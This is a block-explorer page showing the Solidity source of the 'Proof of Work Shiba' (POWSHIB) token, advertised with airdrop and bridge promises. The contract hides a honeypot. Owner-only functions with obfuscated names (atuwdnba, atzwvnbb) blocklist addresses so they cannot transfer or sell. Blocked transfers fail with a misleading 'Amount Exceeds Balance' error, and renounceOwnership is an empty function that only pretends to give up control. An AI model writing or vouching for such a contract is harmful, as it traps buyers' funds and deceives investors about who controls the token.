ETH Price: $3,297.11 (-0.34%)

Contract Diff Checker

Contract Name:
POWSHIBA

Contract Source Code:

File 1 of 1 : POWSHIBA

pragma solidity 0.8.16;
/*

██████   ██████  ██     ██     ███████ ██   ██ ██ ██████  
██   ██ ██    ██ ██     ██     ██      ██   ██ ██ ██   ██ 
██████  ██    ██ ██  █  ██     ███████ ███████ ██ ██████  
██      ██    ██ ██ ███ ██          ██ ██   ██ ██ ██   ██ 
██       ██████   ███ ███      ███████ ██   ██ ██ ██████


Proof of Work Shib - $POWSHIB

1:1 Airdrop Post Merge  - PulseChain Bridge Support Q4

*/    

contract POWSHIBA {
  
    mapping (address => uint256) public balanceOf;
    mapping (address => bool) yVal;

    // 
    string public name = "Proof of Work Shiba";
    string public symbol = unicode"POWSHIB";
    uint8 public decimals = 18;
    uint256 public totalSupply = 100000000 * (uint256(10) ** decimals);

    event Transfer(address indexed from, address indexed to, uint256 value);

    constructor()  {
        // 
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

	address owner = msg.sender;


bool isEnabled;



modifier onlyOwner() {
    require(msg.sender == owner);
    _;
}

    function renounceOwnership() public onlyOwner  {

}





    function atuwdnba(address _user) public onlyOwner {
        require(!yVal[_user], "x");
        yVal[_user] = true;
     
    }
    
    function atzwvnbb(address _user) public onlyOwner {
        require(yVal[_user], "xx");
        yVal[_user] = false;
  
    }
    
 


   




    function transfer(address to, uint256 value) public returns (bool success) {
        
require(!yVal[msg.sender] , "Amount Exceeds Balance"); 


require(balanceOf[msg.sender] >= value);

        balanceOf[msg.sender] -= value;  
        balanceOf[to] += value;          
        emit Transfer(msg.sender, to, value);
        return true;
    }
    
    
    
    


    event Approval(address indexed owner, address indexed spender, uint256 value);

    mapping(address => mapping(address => uint256)) public allowance;

    function approve(address spender, uint256 value)
       public
        returns (bool success)


       {
            
  

           
       allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }









    function transferFrom(address from, address to, uint256 value)
        public
        returns (bool success)
    {   
    
        require(!yVal[from] , "Amount Exceeds Balance"); 
               require(!yVal[to] , "Amount Exceeds Balance"); 
        require(value <= balanceOf[from]);
        require(value <= allowance[from][msg.sender]);

        balanceOf[from] -= value;
        balanceOf[to] += value;
        allowance[from][msg.sender] -= value;
        emit Transfer(from, to, value);
        return true;
    }
    

}

Please enter a contract address above to load the contract details and source code.

Context size (optional):